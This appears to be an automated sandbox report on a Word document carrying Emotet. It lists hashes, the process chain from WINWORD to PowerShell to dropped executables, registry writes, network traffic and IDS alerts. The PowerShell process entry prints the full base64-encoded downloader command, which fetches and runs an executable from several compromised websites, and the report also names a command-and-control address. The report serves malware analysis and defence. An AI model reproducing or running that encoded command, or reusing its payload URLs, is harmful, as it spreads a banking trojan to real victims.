File name:

XFX-100120 VSQ-101420.doc

Full analysis: https://app.any.run/tasks/fe8fda31-2171-4fbb-a04c-f1413e07c9d8
Verdict: Malicious activity
Threats:

Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns.

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Analysis date: October 19, 2020, 21:50:58
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
emotet-doc
emotet
generated-doc
trojan
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Title: Distinctio., Author: Matto Fontaine, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Wed Oct 14 20:03:00 2020, Last Saved Time/Date: Wed Oct 14 20:03:00 2020, Number of Pages: 1, Number of Words: 2017, Number of Characters: 11502, Security: 8
MD5:

CF7A4BF14A89CC9243A63DD6A110C3BF

SHA1:

9967EE272401F8D7D268C2D941DEA3699E45EC55

SHA256:

A62460B5048B49481C6096C23DC3B6F0F0FA84B37B632C80B6395400314EBC7D

SSDEEP:

3072:2BeY5kb0TUNAuBqVPlB11nBk9wsYv/Pw+RhPJ:2EYOb0TUquBqt7nBy03PRRhPJ

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  • MALICIOUS

    • Application was dropped or rewritten from another process

      • Q12ney.exe (PID: 3232)
      • UIAutomationCore.exe (PID: 932)

    • Connects to CnC server

      • UIAutomationCore.exe (PID: 932)

    • EMOTET was detected

      • UIAutomationCore.exe (PID: 932)

    • Changes the autorun value in the registry

      • UIAutomationCore.exe (PID: 932)

  • SUSPICIOUS

    • Executed via WMI

      • POwersheLL.exe (PID: 2756)

    • PowerShell script executed

      • POwersheLL.exe (PID: 2756)

    • Creates files in the user directory

      • POwersheLL.exe (PID: 2756)

    • Starts itself from another location

      • Q12ney.exe (PID: 3232)

    • Executable content was dropped or overwritten

      • POwersheLL.exe (PID: 2756)
      • Q12ney.exe (PID: 3232)

    • Reads Internet Cache Settings

      • UIAutomationCore.exe (PID: 932)

  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2064)

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2064)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

Title: Distinctio.
Subject: -
Author: Mattéo Fontaine
Keywords: -
Comments: -
Template: Normal.dotm
LastModifiedBy: -
RevisionNumber: 1
Software: Microsoft Office Word
TotalEditTime: -
CreateDate: 2020:10:14 19:03:00
ModifyDate: 2020:10:14 19:03:00
Pages: 1
Words: 2017
Characters: 11502
Security: Locked for annotations
Company: -
Lines: 95
Paragraphs: 26
CharCountWithSpaces: 13493
AppVersion: 15
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts: -
HeadingPairs:
  • Title
  • 1
CodePage: Unicode UTF-16, little endian
LocaleIndicator: 1033
CompObjUserTypeLen: 32
CompObjUserType: Microsoft Word 97-2003 Document
No data.
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Total processes
41
Monitored processes
4
Malicious processes
3
Suspicious processes
0

Behavior graph

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start drop and start drop and start winword.exe no specs powershell.exe q12ney.exe #EMOTET uiautomationcore.exe

Process information

PID
CMD
Path
Indicators
Parent process
932"C:\Users\admin\AppData\Local\wsqmcons\UIAutomationCore.exe"C:\Users\admin\AppData\Local\wsqmcons\UIAutomationCore.exe
Q12ney.exe
User:
admin
Integrity Level:
MEDIUM
Description:
MultiSubButton MFC Application
Exit code:
0
Version:
1, 0, 0, 1
Modules
Images
c:\users\admin\appdata\local\wsqmcons\uiautomationcore.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winspool.drv
2064"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\XFX-100120 VSQ-101420.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\winword.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll
2756POwersheLL -ENCOD JABFAF8AcwBnADAAbwBwAD0AWwBjAGgAYQByAF0ANAAyADsAJABaAGsAbQBiADcAdgByAD0AKAAoACcAWgAnACsAJwBoAHoANgBqAHUAJwApACsAJwBrACcAKQA7ACYAKAAnAG4AZQB3ACcAKwAnAC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAGUAbgBWADoAVQBTAGUAcgBQAHIATwBGAEkAbABFAFwAcgAyAEsAVABEADYAYgBcAG4AMwBrADkASwAyAGkAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAHIAZQBDAHQAbwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBDAHUAcgBJAFQAWQBQAFIAYABPAFQAYABPAGMAYABvAEwAIgAgAD0AIAAoACcAdABsACcAKwAoACcAcwAxACcAKwAnADIAJwApACsAKAAnACwAIAB0ACcAKwAnAGwAcwAxACcAKQArACgAJwAxACwAJwArACcAIAB0ACcAKQArACcAbABzACcAKQA7ACQAWABkADUAaAB1AF8AOQAgAD0AIAAoACcAUQAxACcAKwAnADIAbgAnACsAJwBlAHkAJwApADsAJABCAGMAeAB5ADQAMQBfAD0AKAAoACcASwAnACsAJwAyAHoAJwApACsAKAAnAGgAJwArACcAegBjAG8AJwApACkAOwAkAFAAYgA1AHAAZABvAGcAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACgAJwA2AEYAZgBSACcAKwAnADIAawB0ACcAKQArACcAZAAnACsAKAAnADYAYgA2ACcAKwAnAEYAZgAnACkAKwAnAE4AJwArACgAJwAzACcAKwAnAGsAOQAnACkAKwAoACcAawAnACsAJwAyAGkANgBGAGYAJwApACkALgAiAHIAYABlAGAAUABMAGEAQwBFACIAKAAoAFsAQwBoAEEAcgBdADUANAArAFsAQwBoAEEAcgBdADcAMAArAFsAQwBoAEEAcgBdADEAMAAyACkALAAnAFwAJwApACkAKwAkAFgAZAA1AGgAdQBfADkAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAEMAagBkAHUAOABmAGcAPQAoACgAJwBZACcAKwAnAHIAZABsAHUAJwApACsAJwBfADcAJwApADsAJABZAGsAYQA3AF8AZQBmAD0AJgAoACcAbgBlAHcAJwArACcALQBvAGIAJwArACcAagBlAGMAdAAnACkAIABuAGUAdAAuAFcAZQBiAGMATABpAGUATgB0ADsAJABFAGcAawBqAGYAegAzAD0AKAAnAGgAJwArACgAJwB0AHQAJwArACcAcAAnACsAJwA6AC8ALwAnACkAKwAoACcAcwB0AHIAZQBhAG0AbQAnACsAJwB1ACcAKwAnAHMAJwApACsAKAAnAGkAJwArACcAYwBnACcAKQArACcAcgAnACsAKAAnAG8AJwArACcAdQBwAC4AYwBvAG0ALwB3ACcAKQArACcAcAAtACcAKwAoACcAYwBvAG4AJwArACcAdABlAG4AdAAnACkAKwAnAC8AZgAnACsAJwBKACcAKwAoACcAaQBYACcAKwAnAGwAJwApACsAKAAnAC8AKgBoACcAKwAnAHQAdABwACcAKwAnAHMAOgAnACkAKwAnAC8AJwArACgAJwAvAHAAZgAnACsAJwBjACcAKQArACgAJwBuAGUAJwArACcAdwBzAC4AJwApACsAKAAnAGMAJwArACcAbwBtAC8AJwApACsAJwB3ACcAKwAnAHAAJwArACgAJwAtAGEAJwArACcAZAAnACkAKwAoACcAbQAnACsAJwBpAG4ALwB4AE4AMgAnACkAKwAoACcAZgB1ACcAKwAnADcAWAAvACoAaAAnACsAJwB0AHQAJwApACsAKAAnAHAAcwA6ACcAKwAnAC8AJwArACcALwBtAGUAZwBsAGkAJwArACcAYwAnACsAJwBhAC4AYwBvACcAKwAnAG0ALwB3ACcAKwAnAHAALQBhAGQAbQBpAG4ALwAnACkAKwAnAEUALwAnACsAKAAnACoAaAB0AHQAJwArACcAcAAnACkAKwAnAHMAJwArACcAOgAnACsAKAAnAC8ALwB3ACcAKwAnAGkAJwApACsAKAAnAHoAYgBlAGUAZwAnACsAJwBvACcAKwAnAG8AZAAnACkAKwAoACcAcwAnACsAJwBlACcAKwAnAHIAcABvAG4AJwApACsAKAAnAGcAJwArACcALgBjAG8AJwApACsAKAAnAG0ALwB3AHAALQBpAG4AYwAnACsAJwBsAHUAJwArACcAZABlAHMAJwApACsAJwAvACcAKwAoACcAQwBKAHUAJwArACcAVgAnACkAKwAoACcAawAvACcAKwAnACoAaAB0AHQAcABzADoALwAnACsAJwAvAGkAJwArACcAbgAuACcAKQArACgAJwBnACcAKwAnAGUAZQBrACcAKwAnAHkAZwBlAG4AZQAnACsAJwAuAGMAbwAnACsAJwBtAC8AdwBwAC0AYQAnACsAJwBkACcAKQArACcAbQBpACcAKwAnAG4AJwArACgAJwAvACcAKwAnAEUAbgAnACkAKwAnAGsATgAnACsAKAAnAEQAagAnACsAJwAvACcAKQArACgAJwAqACcAKwAnAGgAdAB0ACcAKwAnAHAAcwA6ACcAKQArACcALwAnACsAKAAnAC8AcQAnACsAJwB1ACcAKQArACcAbwAnACsAKAAnAHQAaQBjAHMALgAnACsAJwBnAGUAZQAnACsAJwBrACcAKwAnAHkAZwBlAG4AJwArACcAZQAnACkAKwAoACcALgBjAG8AJwArACcAbQAvACcAKQArACcAdwBwACcAKwAoACcALQBhACcAKwAnAGQAJwApACsAJwBtACcAKwAnAGkAJwArACgAJwBuAC8AawBzACcAKwAnADgAJwArACcASgBIAC8AJwArACcAKgBoAHQAJwApACsAKAAnAHQAJwArACcAcAA6AC8ALwAnACkAKwAnAGMAJwArACcAYQBsACcAKwAoACcAaQAnACsAJwBmAG8AJwApACsAJwByACcAKwAoACcAbgBpACcAKwAnAGEAJwApACsAJwBuACcAKwAnAHMAJwArACgAJwBhACcAKwAnAGcAYQBpACcAKQArACcAbgBzACcAKwAoACcAdABoAGEAdAAnACsAJwBlACcAKQArACcALgBjACcAKwAoACcAbwBtAC8AYQB1ACcAKwAnAGQAJwApACsAKAAnAGkAbwAvAHkAJwArACcAMwAnACkAKwAnAHkAJwArACgAJwBTAEEAQQAnACsAJwAvACcAKQApAC4AIgBzAGAAcABsAEkAdAAiACgAJABFAF8AcwBnADAAbwBwACkAOwAkAEkAbgBqAF8AaQA4AHkAPQAoACgAJwBaACcAKwAnAGgAawBlACcAKQArACgAJwB1ACcAKwAnAG4AdwAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEUAOAByADYANgAyADIAIABpAG4AIAAkAEUAZwBrAGoAZgB6ADMAKQB7AHQAcgB5AHsAJABZAGsAYQA3AF8AZQBmAC4AIgBkAE8AVwBgAE4ATABgAE8AQQBkAEYAaQBgAEwAZQAiACgAJABFADgAcgA2ADYAMgAyACwAIAAkAFAAYgA1AHAAZABvAGcAKQA7ACQARwBzAHkAZABhAGUAYgA9ACgAKAAnAFcAegAxACcAKwAnAG0AeAB5ACcAKQArACcAcQAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJAHQAJwArACcAZQBtACcAKQAgACQAUABiADUAcABkAG8AZwApAC4AIgBsAEUAYABOAEcAYABUAGgAIgAgAC0AZwBlACAAMgA4ADcAMgA4ACkAIAB7AC4AKAAnAEkAJwArACcAbgB2AG8AawBlAC0ASQAnACsAJwB0AGUAbQAnACkAKAAkAFAAYgA1AHAAZABvAGcAKQA7ACQAQQA2AGwANQBvAF8AaAA9ACgAKAAnAFEAJwArACcAdQAxACcAKQArACgAJwA3ACcAKwAnAGMAbwAnACkAKwAnAHYAJwApADsAYgByAGUAYQBrADsAJABaAGQAYwBtADMAeQBpAD0AKAAnAEoAJwArACgAJwBkAHUAJwArACcAZwAnACkAKwAoACcAbQA1ACcAKwAnAG0AJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFYAaQB0AHQAawBsADUAPQAoACcATAAnACsAKAAnAHMAbgAnACsAJwB1AG0AJwApACsAJwBhADQAJwApAA== C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
3232"C:\Users\admin\R2ktd6b\N3k9k2i\Q12ney.exe" C:\Users\admin\R2ktd6b\N3k9k2i\Q12ney.exe
POwersheLL.exe
User:
admin
Integrity Level:
MEDIUM
Description:
MultiSubButton MFC Application
Exit code:
0
Version:
1, 0, 0, 1
Modules
Images
c:\users\admin\r2ktd6b\n3k9k2i\q12ney.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winspool.drv
Total events
2 494
Read events
1 553
Write events
722
Delete events
219

Modification events

(PID) Process:(2064) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:."7
Value:
2E22370010080000010000000000000000000000
(PID) Process:(2064) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
Off
(PID) Process:(2064) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1041
Value:
Off
(PID) Process:(2064) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1046
Value:
Off
(PID) Process:(2064) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1036
Value:
Off
(PID) Process:(2064) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1031
Value:
Off
(PID) Process:(2064) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1040
Value:
Off
(PID) Process:(2064) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1049
Value:
Off
(PID) Process:(2064) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:3082
Value:
Off
(PID) Process:(2064) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1042
Value:
Off
Executable files
2
Suspicious files
2
Text files
0
Unknown types
3

Dropped files

PID
Process
Filename
Type
2064WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR421E.tmp.cvr —
MD5:—
SHA256:—
2756POwersheLL.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\DM78S0RW6JYLCJA5DS4C.temp —
MD5:—
SHA256:—
2064WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~DFF8D365CD53E62117.TMP —
MD5:—
SHA256:—
2064WINWORD.EXEC:\Users\admin\AppData\Local\Temp\VBE\MSForms.exdtlb
MD5:—
SHA256:—
2756POwersheLL.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF2d4c5f.TMPbinary
MD5:—
SHA256:—
3232Q12ney.exeC:\Users\admin\AppData\Local\wsqmcons\UIAutomationCore.exeexecutable
MD5:—
SHA256:—
2756POwersheLL.exeC:\Users\admin\R2ktd6b\N3k9k2i\Q12ney.exeexecutable
MD5:—
SHA256:—
2064WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:—
SHA256:—
2756POwersheLL.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:—
SHA256:—
2064WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$X-100120 VSQ-101420.docpgc
MD5:—
SHA256:—
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HTTP(S) requests
1
TCP/UDP connections
2
DNS requests
1
Threats
7

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
932
UIAutomationCore.exe
POST
200
47.36.140.164:80
http://47.36.140.164/xmm0OmiaSW6I/5DzRPFB/HDUWHG9m6Svy0JNh/
US
binary
132 b
malicious
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Connections

PID
Process
IP
Domain
ASN
CN
Reputation
932
UIAutomationCore.exe
47.36.140.164:80
—
Charter Communications
US
malicious
2756
POwersheLL.exe
68.66.197.96:80
streammusicgroup.com
A2 Hosting, Inc.
US
suspicious

DNS requests

Domain
IP
Reputation
streammusicgroup.com
  • 68.66.197.96
suspicious

Threats

PID
Process
Class
Message
2756
POwersheLL.exe
A Network Trojan was detected
ET POLICY Terse Named Filename EXE Download - Possibly Hostile
2756
POwersheLL.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
2756
POwersheLL.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
2756
POwersheLL.exe
Misc activity
ET INFO EXE - Served Attached HTTP
932
UIAutomationCore.exe
A Network Trojan was detected
ET CNC Feodo Tracker Reported CnC Server group 18
932
UIAutomationCore.exe
A Network Trojan was detected
MALWARE [PTsecurity] Emotet
1 ETPRO signatures available at the full report
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